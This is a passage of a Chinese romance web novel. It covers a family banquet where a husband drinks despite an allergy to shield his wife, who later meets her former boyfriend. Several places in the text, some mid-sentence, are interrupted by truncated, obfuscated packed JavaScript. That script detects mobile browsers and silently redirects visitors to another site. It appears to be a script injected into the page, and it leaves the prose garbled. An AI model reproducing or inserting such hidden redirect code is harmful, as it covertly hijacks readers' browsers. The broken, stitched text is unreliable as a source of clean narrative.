她的手指一一拂过,从里头挑了一条水光段鱼尾长裙。 “你出去,我换衣服。”她将礼服放在床沿,转身看向还在身后的人,指使着,“顺带把门带上。” “行。” 他出乎意料的好说话。 靳晏礼退出门外,手指拧着门把手,将门给带上了。并没有离开,而是反身背靠在门框,耐心等待着。 给周颂宜展示的礼服,全是已经改制过的。 尺码已经改成适合她身量的码子,所以她穿上身的时候,才会出人意料的合身。 “可以进来了吗?”靳晏礼视线隔着门往里瞥去一眼,颇为绅士地敲了敲门。 “进来吧。” 他推门而入,恰好捕捉到周颂宜眼底的讶异。 嘴角无意识地上扬,戏谑着,“我还以为会不合身。不过现在看来,是我多虑了,人穿衣服,靳太太穿什么都好看。” “花言巧语。” 周颂宜说这话的时候并没有看他,而是领着裙摆,看向眼前那些琳琅摆放用来供挑选的鞋子。 一眼扫去,全是平跟的。 她抿了抿唇瓣,指了指角落的那双,对离自己最近的佣人道,“就那双吧,你替我拿过来。” 那是唯一、仅有带跟的一双。 看上去更像是不小心弄混了。 靳晏礼的视线顺着她的视线看过去,愣了一瞬,而后蹲下身体,替她选择了一双平跟带银色细闪的鞋子。 他说,“这一款很适合你。” 周颂宜低头看去。他选的这双,和自己选的那双,两者之间只有有跟和没跟的区别。 她的语气很平静,“那双。” 虽然从前坐在轮椅上的日子尤为长久,但人的心底总会呕着一股气,自己和自己较劲。 靳晏礼捏了捏眉心,有点无奈,他倒是没想过,周颂宜也会有犯倔的时候。 对上佣人为难的神情,他有点儿无可奈何地笑了声,更像是被气笑的。 最终妥协了,“您替她取了过来吧。” 周颂宜本意是想自己穿的,奈何靳晏礼锢着她的脚踝,不让她挣脱,兀自替她穿上了高跟鞋。 站起身,“我在你身边,要是觉得不适应,就靠我身上。” “谢谢。” 周颂宜望了他一眼,难得的没再呛声。 * 宴会是在户外举行的。 春天的夜晚,风中花香浓郁。花圃中精心养护的蔷薇,在风中摇曳,粉白花瓣落了一地。 有别于传统寿宴,靳老太紧跟年轻潮流,宴会是在草坪上举办的。 风吹,两岸的树荫晃动。 篝火劈里啪啦地在燃烧,像是细碎的星子,在空中散开。 这个点子,取材于靳雨娇。 她亦如和老太太提到的那般,宴会正式开始前回来了,“奶奶,祝您福如东海,日月昌明。”给老太太一个拥抱,而后西方式的贴面礼。 靳雨娇这几日和好友约着跑去阿勒泰旅行了。 其实今晚本可以比原定时间早些回来的,只是千算万算没有算到,在回城的路途上,遇到了一起追尾事件。 在交警赶到前,车子堵得水泄不通。车屁股近乎挨着车屁股,龟速爬行中。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13460819|141718||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 耽搁了大半小时,回来的第一件事就是洗澡、换礼服、化妆,以全新的面貌出现在老太太眼前。 靳雨娇在侍者推着的香槟车中取了一支香槟杯,举着杯子,凑到老太太跟前,说着一些俏皮话。 “谢谢雨娇,奶奶收到了。”老太太眉开眼笑,“听你妈说你这几日和好友一块出行游玩,如何?旅程还算愉快吧?” “那肯定。”她挽着老太太的胳膊,撒娇道,“要不是路上耽搁了一阵子,我肯定早就回来了。奶奶你是不知道,我出门在外的这几天可想你了呢。” “我出门也没忘记您,特地给您带回了当地特产。” “是吗?”三言两语,把老太太哄得不亦乐乎,“雨娇啊,你这嘴巴就跟摸了蜜一样。” “这个就是雨娇啊,感觉也就一眨眼的功夫,之前的小丫头如今竟然长成大姑娘了。渠姨,要不是听您们的对话,我真真是认不出这丫头了。” 靳雨娇顺着声源看去,是一张陌生的脸庞。 她在心中斟酌着,但也没擅自开口。 黎青陪在老太太身边,见她怔愣着,开口为她介绍着身边站着的两位西装革履的男人,“雨娇啊,这位是你沈叔叔,你小时候还抱过你的呢。旁边这位是你沈叔叔的儿子,沈遇。” 说到这,还颇有点怀念旧时光的样子,“还记得你以前总喜欢跟在小沈身后,哥哥长哥哥短的叫,也不知道现在还记不记得?” 沈遇视线盯在靳雨娇脸上,顺势道了句:“雨娇现在大了,内敛不少。” 靳雨娇看了一眼对面的那位青年,看着倒是一表人才,可惜不是她的菜。 况且那都是多少年前的老黄历了,她压根就没点印象,也不知道她妈是不是胡编乱造的。 扯起唇角冲对面人勉强一笑,而后对着黎青喊道,“妈。” 黎青一听靳雨娇这明显求饶的声音,只得无奈转移了话题。 姑娘家家的,还是脸皮薄。 虽然心中有意撮合,但终归还得看孩子自己的意愿。 “我哥呢?”靳雨娇环顾四周,试探性开口,“我都过来这么久了,怎么还没看见他们。不会来得比我还迟吧?” “你哥上午就回来了,”黎青冲她皱了皱眉,“现在应该在别处。你过去看一眼,宴会马上就要开始了,让他们记得过来。” “哦。” 靳雨娇应了声。 不过她并不打算去找,而是在手机上给靳晏礼发条消息,让他自己过来,而她则是找个角落清净一下。 这几天在外面疯太狠了,现在还没缓过劲。 消息发送过去,还没等到回复,倒是让她正好看见人了。 两人正在和人交谈,她也不便过去凑热闹,只想等人说完话,上前交代完事情,就赶快离开这里。 靳雨娇等人离开,她还没走上前,便被靳晏礼给发现了。 耸拉着脑袋,“哥。”而后快速交代完自己的任务,将身侧的周颂宜忽略了个彻底。 在对方压迫的目光中,不情不愿地对她喊了声,“嫂子好。” 周颂宜心下正烦躁,靳晏礼今晚不知道抽了什么风,带着她见了许多靳家这边的亲戚和他那些圈内朋友。 言辞间,分明存着故意的心理。 先前两人领证,其实只是算是圈内人知道,并未办婚礼。 靳家这边的亲朋好友只是知道他靳晏礼结婚了,至于另一半是谁,略有耳闻,却也没真正见过面。 如果不是他,自己现在应该是在老太太身边的。 对于眼前突然出现的小姑子,两人先前委实没有多大的交流,不想在这浪费太多的时间,也不想有过多的牵扯与瓜葛,只想赶紧远离这个是非之地。 周颂宜对靳雨娇笑笑,转而仰头看向身侧的靳晏礼,“你们兄妹有话慢慢聊,我去那边透口气,等会儿再回来。” “去哪?”靳晏礼捉住她欲挣脱的手。 她随手指了指篝火处,“去那边看看。” “爸妈都在这边,奶奶那现在看起来也不太需要我。反正也是没事,出去转转就好。你们靳家商业上的那些合作伙伴,我在这也帮不上什么忙,就不在这添乱了。” 再次被阻拦,她也有点烦了,“我人就在你们家。”那只没有被他攥住的手,推开她拉着自己的手,眼里有笑却没有情感地直视着他的眼睛,“你怕什么?” “周颂宜,你什么意思?” 靳雨娇看着眼前这幕,想也没想地脱口而出。 说完,自知失礼,音量降下去不少。 她盯着周颂宜,“我和我哥没什么好聊的,你们自便,不用管我,我马上就到我妈那儿去。你们两个爱怎么样就怎么样,跟我没关系。” 说完,头也不回地离开了。 心底却一直在琢磨这件事。 她哥的感情,现在都这么糟糕了吗? 以前只知道周颂宜不喜欢她哥哥,可也没想过今晚竟然这样不避人,就不怕自己跑爸妈面前告状吗? 只是告什么状?说她和哥哥感情不和睦? 想到这,她瞬间明白了。 周颂宜本来就不在意哥哥,所以自然也不会避讳自己,更不怕爸妈他们知道。 靳雨娇顿住脚步,扭头往回看了一眼,恰好对上周颂宜探寻的目光。 犹如锋芒刺眼,她瞬间收回自己的视线,决定自己还是不要瞎去搅和了,免得越搅越浑。 “你晚上和我说的话,到底什么意思?”周颂宜盯着靳雨娇离去的背影,也懒得再挣扎了,语气好奇中又带点好笑。 她扯了扯嘴角,问:“为什么说,这里有我熟悉的人?” 10. 玉兰 “你很快就会知道的。”靳晏礼静静听她的质问,并没有正面给出答案,而是慢条斯理地开腔,“奶奶这会估计正忙着和叔伯们交谈,无暇顾及我们。再不济,也轮不到我们的头上。你要是觉得待在我身边难受,就去周围休息一会。” “今天晚上,算我越矩了。但知错不改,”他一副悉听尊便的模样,“也不奢求你的原谅。” 周颂宜没说话,注视着他的目光却有几分古怪,“你到底想说什么?话里有话,这不像你的风格。” 夜风浮来,她披散着的发丝被扬起。 靳晏礼探手,任发丝自指缝掠过,目光缓缓缓缓移到她的脚踝,叹一口,“别跑太远,不然我会找不到你。” 说完,有些烦躁地扯了扯系在脖颈的领带。 身量高,伫在她身前时,像是一座山。 因着晚宴氛围的缘故,周围的灯光比较暗淡,远处的篝火燃烧得热烈,可她眼前的光被他遮住,让人透不过气。 脸上的情绪辨不清。 “在你不把话说明白前,我哪儿也不会去。”两人站在阴暗处。 周围不时有人前来交流,进行非必要的社交活动。 碍于人前,周颂宜脸上的不愉尽数敛起,挂上得体的笑容。 等人散去后,她脸上堆起的笑容也很快消退。 “你到底什么意思?” 靳晏礼扯了扯唇角,眼睛含笑地看她,压迫感极其强烈,“真想知道?” “你过来一点,”他脸上的笑容变大,极其邪恶,“我就告诉你。” 周颂宜不为所动。 他握住她的肩头,强势将人禁锢在自己的身边,微微俯低身体,话几乎咬在她的耳边说的。 他:“其实刚知道的时候,我也是挺诧异的。世界还真的小,兜兜绕绕一圈,又让人回到原点。” “捡重点。”周颂宜瞪他。 她非常讨厌这种感觉,“把话说得更明白点,我不喜欢这样和你兜圈子。况且在我看来,我们之间似乎没有兜圈子的必要。” 身高的差距,迫使她想要看见他脸上神情时,不得不昂头“有话直说。” 靳晏礼表情无辜,他的手缓缓攀上她的脸颊,偏头微微笑了下,神情却像是碎了冰。 唇角带着弧度,“比起有话直说,还是猜更有意思。” 周颂宜在心底深呼了口气,直觉告诉她,今晚的靳晏礼情绪不对劲。 她毫不避讳地直视他的眼睛,妄想能够从他眼底窥见他的真实意图。 可偏偏他话说一半,不肯再多言,留给她留白、遐想的空间。 “哥,”去而复返的靳雨娇折返回来,不过一眨眼的功夫,她便敏锐察觉到两人有种暗藏的火药味。 视线来来回回扫视两圈,才讲来意阐明,“妈让我过来找你和嫂子。人都到齐了,摄影师也过来了,现在就差你们了。” “赶快过去吧。”她解释,“一起拍合照。” 靳老太太膝下三子,皆从商。年轻的时候天南海北地闯,不爱着家。 后来成家了,一大家子不是定居在其他城市,就是移居国外继续拓展商业版图了。 靳雨娇大小也只从父母口中知道叔伯的存在,一年到头也只能见到寥寥数面。 如果不是老太太这次寿宴,一大家子怕是难以聚齐。 毕竟这些年过去,也没见过一张所有人都到齐的合照。 对于老人家而言,子女齐聚一堂,热热闹闹的,多少没有什么遗憾了。 本来她也不想过来叫人的,毕竟刚才离开的时候,肉眼可见的眼前两人关系不对付。 可又不想见奶奶失望,私心里也不想让别人知道自己哥嫂感情不合。 思来想去,还是她过来了。 “周、”这个字刚出口,靳雨娇识相地改了口,“嫂子,大家都在那边等你们。” “哥。”说完,朝靳晏礼瞥去一眼。 “我知道了。你先过去,我们等下就过去。” 周颂宜的视线依旧附着在靳晏礼的脸上。 尽管如此,她也没撬开他的嘴,从里得到想要的答案。 * 老太太坐在主位,周颂宜站在黎青的身边,周围人投掷到她身上的目光,多是好奇的。 “这就是晏礼的太太吗?”靳桥西笑呵呵地道,“妈,要不是您说,我还真不敢相信。我还以为按照这孩子的秉性,单身一辈子都很有可能。” “没想到,还是和小时候一样,一点都不让人操心。” “少说一点。”靳桥西的太太在他身侧,扯了扯他的衣服下摆,“孩子还站面前在呢。” 靳桥西不在乎的语气,“这有什么的。” 靳老太太给周颂宜介绍了眼前人,“这是晏礼的二伯,定居国外,你第一次见。” “二伯好。”周颂宜又看向他的夫人,“伯母好。” 老太太今晚兴致高,本是寿宴,结果硬生生地变成周颂宜的“认亲”宴。这一桌坐着的人,挨个介绍了个遍。 靳晏礼没出声,置身事外地看着。 “颂宜会不会喝酒?”不知是谁问了这么一句,“今天日子好,要是可以喝酒,那就小酌一杯。不然总以茶代酒的,多没意思。” 周颂宜抿了抿嘴角,举起的茶杯放下,换上一旁的香槟。神情却有点犹豫。 她其实能喝酒,但是酒量不行。 喝完酒后,整个人身体都不太舒服,脑袋晕乎乎的,她不喜欢这种感觉。 只是老太太现不在这一处,黎青又在和靳雨娇交流。 对方是长辈,也并非刻意刁难,偏头看了眼靳晏礼,他正好也在看自己。 她不想喝下这杯酒,斟酌着如何让靳晏礼替自己喝。 话还没开口,他就走了过来,抽走她掌心中盛有酒液的杯子,和靳望帆隔空对碰。 “颂宜她酒精不耐受,喝完酒脸上容易过敏起疹子。不过既然大伯开口了,那我这个做丈夫的替她,应该也没什么区别?” “起疹子?”那人吓一跳,“唉哟,这么重要的事情,这孩子怎么刚刚也不说。刚才没喝酒吧?” 周颂宜自然没有什么酒精不耐受的现状,可对上对方关切的眼神,只好摇头,“没有。” “那就好。”靳望帆松了口气,“既然晏礼都开口了,那这杯酒就你替她喝吧。我记得你平日里不怎么喝酒,就这一杯就好了。” “嗯。” 靳晏礼嗓音低低的,冰凉的酒液一口闷如喉。 空了的酒杯,被他随意搁回原位,周颂宜顺着他的动作看去,内心其实有点复杂。 邱淑珍一脸慈爱地看向两人,有点儿感叹,“只是没想过,以前总是沉默寡言的孩子,现如今也能够独当一面,拥有自己的家了。” “这两孩子,我看着挺般配的。”这话是对黎青说的,“还是表婶有福气。也不知道我家那个,除了会气我之外,还会什么。” 黎青这才把目光转去眼前人,讪讪道:“这都是晏礼自己的事,我这个做母亲的也没帮上什么。” “表嫂,那事都过去多少年了,你怎么就一直放不下呢。人得向 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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周颂宜被他碰上指尖的那刻便吓了一跳,还没来得及拒绝,手掌便被整个握住。 他的掌心烫得吓人。 她扭头看向身侧人。酒精没有上脸,倒是让他的耳根红了一片。 她试探着问,“你是不是酒喝多了?体温才会这么高,像火炉一样,烫人。” “是吗?”他低着头,看向两人交缠的手指,“但是我不想松开,所以你忍忍,好吗?” “……” 周颂宜笃定他喝多了,但是记忆了好像也没有喝多少,“现在这里没我们什么事了。我让人送你回房间,你躺着好好休息一下。” “那你呢?”靳晏礼突然凑近,呼出的气息都带着热和酒气,混合身上淡淡的松香,很是醉人,“晚上想在这住,还是回家住?” “你想住哪儿?”周颂宜不答反问,推开他压在自己肩头的身体,“不想和醉鬼说话。” 靳晏礼被他推开,原本握着的指尖松开,只觉烦躁得厉害。 可又因她方才的那番话,手中的动作顿住,嗓子眼滚出一声笑。 “我去叫人。”她摁住他的肩膀,“你好好待在这儿。” 靳晏礼拉住欲起身的手腕,敛着的眼睛,里面一派清明,似有暗潮涌起。 他问:“你会回来吗?” 没有回答。 他又重复了一遍。 这次,周颂宜给了回应,“会的。”她把他当酒鬼,语气敷衍。 11. 玉兰 周颂宜离开位置,左右看了眼,找了最近的服务生,让对方待会搀扶靳晏礼回房间。 交代完毕后,她自己找了一个人少的位置透气。 远处焰火燃放,天空随着“砰-砰-砰”的声音,原本的黑暗被驱散。 五彩的光点亮黑暗,她这处位置僻静,焰火砰起在头顶时,踩在脚下的影子也随着光影变动。 周颂宜吹了一会风,而后对身后的灌木丛道,“说吧,你跟我出来,是有什么话要对我说吗?” 闻言,躲在暗处的靳雨娇才不情不愿地走了出来,偏还要嘴硬的强调,“我可没有跟你出来。只是恰好碰见,想看看你在这儿做什么?” “我在这儿吹风,”周颂宜觑她一眼,“你要是想,我把这个位置腾给你。正好,这还是观赏焰火的绝佳位置。” 似乎要印证她的话。原本燃烧殆尽的焰火,又开始了新的一轮。 靳雨娇抬头望了望天,见周颂宜打算离开,立马叫住了她,“等等,你先别走。” 她的本意当然不是来这吹什么风的,打定注意后,她走上前来。 试探性地开口,“你是不是和我哥吵架了?” “你不是都看出来了,何必多此一举地来问我?”周颂宜反问她。 靳雨娇视线注视着她,“我告诉你,你不要不识好歹,我哥以前读书的时候,可是有不少女孩子抢着给他写信,说要做他女朋友的!” 周颂宜:“哦。” “就哦?” “那你想要我给什么反应?” “靳雨娇。”周颂宜有点儿想笑,“你能不能不要这么幼稚。还有,你哥他知不知道你在这和我说这些无关紧要的事情?” “这怎么能算无关紧要。”靳雨娇辩驳,但又有求于人,语气难免低了下去,“我知道,感情这件事情是我们家做得不对。你们两个人之间,我也能够看出来,明显是我哥爱得多一点。爱得多点的那个人,注定输得更多。我知道你不喜欢他,但他真的很可怜,你能不能对他好一点,就一点。” 周颂宜心不在焉,只觉得有点莫名其妙,“靳晏礼可怜,和我有关系吗?思来想去,我们两个人,应该是我更可怜吧?” “雨娇,既然我没有在你面前去哭可怜,你也不要在我面前替靳晏礼哭虚假的可怜。你知道的,他在我的印象中,本就不是什么光明磊落的高大形象。” “所以,”她反问,“你觉得我会相信你说的话吗?” “站住,”靳雨娇叫住她,高跟鞋踏在石板路上,发出“哒哒”的声响,她的视线紧紧锁在周颂宜的脸上,“那我只问你一句,我哥酒精过敏,你知不知道?” “什么?” 靳雨娇情绪恹恹:“晚宴的那杯酒,他替你喝了。你有没有酒精不耐受,我不知道,但是他酒精过敏。” “你把他一个人留在那儿,说你去叫人,可到头来,就是一时的敷衍、欺骗了他。你压根就没有把他放在心上。” “我叫了人的。”周颂宜拧了拧眉。 靳雨娇:“这不一样。” 周颂宜懒得废话,捡重点问,“吃药了吗?” “什么?” “过敏药吃了吗?”她耐着性子又重复了一遍。 “吃了。” “那就没事。我叫了人的,如果发现靳晏礼有什么不对劲的地方,自然会去叫人的。”周颂宜看她一眼,“我透会气。你要是实在关心,就自己过去看看是个什么情况。” 靳雨娇:“你明知道,他需要的是你,不是我。” 其实,她之所以能跟着周颂宜走到这儿,压根就不是跟着她一起过来的。 早在她离席的那刻,靳晏礼就找了过来,他让自己替他盯着周颂宜。 原本并不情愿,可他哥的脸色沉得吓死人。 想起两人间闹的不愉快,正准备提醒周颂宜一两句的。可话还没开口,便被人出声打断了。 * “老徐,你看那人是不是周颂宜?” 方响刚给人拍完照片,结束任务准备离开的时候,特地选了一条比较幽静的路。 靳家庄园大,走在里面,摄影师对于美好事物捕捉的心理跃跃欲试。 调整镜头的时候,刚好看见周颂宜和靳雨娇在聊天。 起初他只是疑惑这两人长得像,但又不敢确定,于是探手撞了撞身旁的同伴,“应该是她吧?” 被叫的男人似乎没听清,“你刚才说谁?” “周颂宜啊。”方响无心道,“说来也是奇怪,感觉已经很久没见你俩走一起了,是不是分手了?” “颂宜?”徐致柯语气诧异,顿了片刻,才应声,“我们的确已经分手了。” “?”方响瞪大了眼,伸手拍了拍自己的嘴巴,自言自语,“不是吧,我只是随口一说。” “我要知道这样,刚才指定不开口。” “没事,她看见我们了。”徐致柯的目光并未放在他的身上,“来都来了,过去打个招呼。” 方响越加在心中后悔。 靳雨娇自打方响出声,原本的话变彻底被噎在喉咙里了,看着朝她们走过来的两人,眼底没什么好情绪。 视线顺着来人面庞往下落,注意力集中在来人脖颈上挂着的工作牌。这是媒体记者进入今天这场宴会的入场工作证明。 结合周颂宜也是新闻工作者,不难猜想,这几个人是相熟的。 她识趣地看向几人,转而对周颂宜道,“我先离开了,待会再和你聊。” 语气有点不情愿,毕竟靳晏礼交代给她的任务还没有完成。 可看着来人,又看了看周颂宜,最终还是不情不愿地离开了。 - 前几日淅淅沥沥地下过一场春雨,雨水打落一地花瓣,晚风中花香醉人。 周颂宜看着眼前人。一如从前。 简单清爽的浅蓝色条纹长袖衬衫,里面内搭一件白色圆领长袖,挺拔的鼻梁上架着一架黑框眼镜。 看起来斯文气、书卷气息浓厚。 他的脖子上挂着台里的工作牌,今天过来,应该也是因为工作。 时隔将近一年的遇见,周颂宜说不出心中的想法。 没有剧里久别重逢的激动,却也并不是毫无波澜的。 想了很久,出口化作一句生涩的,“好久不见。” 徐致柯盯着她的眼睛,“是挺久没见的,最近还好吗?” 老掉牙的寒暄话。方响目光在两人身上转悠一圈,好不容易才从两人已分手的震惊消息中回神。 都说前任见面,分外眼红。他虽然没吃过猪肉,但见过猪跑。 怕彼此尴尬,连忙开口和稀泥,“可不挺久没见的。你和褚师姐她们在新闻台工作,我和老徐调去娱乐部门那边了。要是不特意约着见面,这想见上一面,着实挺难的。” “今天也真是巧了。” 周颂宜想附和他的话,但开口莫名艰涩。话在喉咙口来回滚,最后只能用一句“嗯”来掩饰。 “那个,我和老徐今天过来,也是工作。今天是靳家老太太的八十大寿,毕竟也是有名的企业,上头让我们今晚过来弄点新闻素材。” “是吧,”方响拍了拍徐致柯的肩膀,“老徐?” 对方没反应,他松开手,尴尬地呵呵了两声。 对周颂宜道,“那个,我突然想起来我还有点事,你们两个有话好好聊,我就先过去了。” 虽说分手了,但目前看来,并不是那种鱼死网破的老死不相往来。 也许,只是出现了一点不可调和的矛盾,这么久过去了,说不定也还有死灰复燃的迹象。 他主动递出这个台阶,徐致柯要是识相的话,肯定会趁这个机会把话说开。 “有事发消息。”方响指了指手机,垫着脚三两步就跑远了。 一时间,只剩下他们两人了。不说话的时间里,风涌动的声音一阵阵灌入耳朵里。 周颂宜看着方响离开的背影,有点儿不自在了。 说来也真是奇怪,明明从前亲密无间的两人,此刻面对彼此竟然不知道该说些什么了。 许久未见,但真要较真起来时间,那大概有一年了。没有了方响在这充当调节剂,气氛低迷。 可见了面,总归是要说些什么的。 周颂宜正打算开口,话还哽在喉咙口,徐致柯先她一步开了口,“这周我得出差,多多我把它一个人放在家里也不放心。不知道你那儿方便吗,虽然知道这个行为可能不太妥当,但我想把它先在你那放两天,毕竟很久没见,它也有点想你了。” 她微愣:“当然可以。只是这么久没见了,也不知道它还记不记得。” “会介意吗?”他问。 周颂宜知道他话里的意思,“和他没有关系。” 徐致柯笑她,“那你为什么垂头丧脸的?” 下意识抬手准备捏捏她的脸颊,却在一瞬记起自己现在似乎并没有立场这样做。 刚抬起的手掌又收了回去,被他藏在背后。 “没有。”周颂宜没有注意到,沉浸在自己的世界里。 想了想,又斟酌着开口,“对不起,之前的事情是我们家对不住你,是我们没有缘分。之前你给我发的消息,我没有回,是因为我不知道该如何面对,有些话不知道该怎么说给你听。” 周颂宜很讨厌哭,哭解决不了问题,反而让人看出自己的脆弱。 这是很多年前,别人教给自己的道理,可现在眼睛突然漫上水雾,怎么也控制不住。 酸涩感涌上心头,她低着头沉默不语。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“刚才我拍照的时候,见到方响了。”说这话的时候,他看了一眼周颂宜的神情,“还有徐致柯。” “我知道。”她点点头,“我们见了面,聊了一会天。” 周自珩见她一副丢了魂的模样,不由叹了口气,没再继续这个话题。 他说:“宴席结束了,我和爸他们先离开了,有事情手机联系。还有,你今晚回去的时候,多注意一下靳晏礼。” “他今晚酒喝得有点多,多少还是注意一下他的死活,你别真把人晾在哪里不管了。” “知道了。”周颂宜敷衍极了,“快走吧,他们都在等你。” * 周颂宜回到房间。 推开胡桃木制成的房门,里面黑漆漆的,没有开灯。 唯一的光源便是落地窗那儿敞开的纱窗,月光透过玻璃,在室内缓慢流淌。 靳晏礼不在房间? 这是她的第一想法,心下莫名松了口气。 适应了眼下的昏暗,她也没摸索着去开房间的灯光。 踢掉脚上束缚了一天的高跟鞋,赤脚踩在原木地板,打算就这么借着月色走到淋浴间,洗掉一身的疲惫。 经过客厅时,才发现沙发中窝着一团阴影。 靳晏礼沉默地坐在沙发上,西装外套胡乱搭在沙发的扶手上,衬衣领口松了粒扣子,领带被扯得松松垮垮,头发看起来也有点乱。 窗外薄白的月光照在沙发上,他坐于其间,视线凝在她的身上,眉眼间有种斯文的颓靡。 “你在这儿,怎么都不出声?”周颂宜走过去,“靳雨娇说你酒精过敏,你是不是疯了,明知道自己喝不了还喝,要是事情严重点,是要闹出人命的。” 她锨开一旁的小夜灯,伸手触上他的脸颊。灯光下,左右摆弄了一下他的脸颊,目光认真,“脸都红了。” “我让人给你煮一壶醒酒茶,喝了之后好好休息。要是明天还觉得不舒服,就去医院看看。” 即使在黑暗中,他的视线依然灼烈,存在感极其强烈,周颂宜感觉浑身的汗毛都要竖起来了。 说了许多话,他一声未吭。见他不理自己,也不想再自讨没趣了。 刚准备离开,下一秒手腕传来一股力量,将她紧紧箍住。 男女力量的悬殊在这一刻体现得淋漓尽致。 靳晏礼将周颂宜带到沙发,什么话也没说。 她就坐在他的两腿中间,那种被顶着的异物感极其强烈,“能不能不要随时随地地随便发.情?” 他低低地轻嗤一声。 黑暗中,靳晏礼的视线一寸寸地从周颂宜的身上落过去,像是要拓出印记。 良久,那道视线最终落在她红肿的脚踝。他抬手触了上去,原本没有感觉的位置,一下子变得痒了起来,这让她有点无所适从。 她推他,“松手。” 可他非但没有松手,反而将头颅埋进她的肩窝。 温热的唇瓣碰了碰裸在外的皮肤,又用牙齿叼住那块软肉放在唇间厮磨。 他说:“见到他了吗?”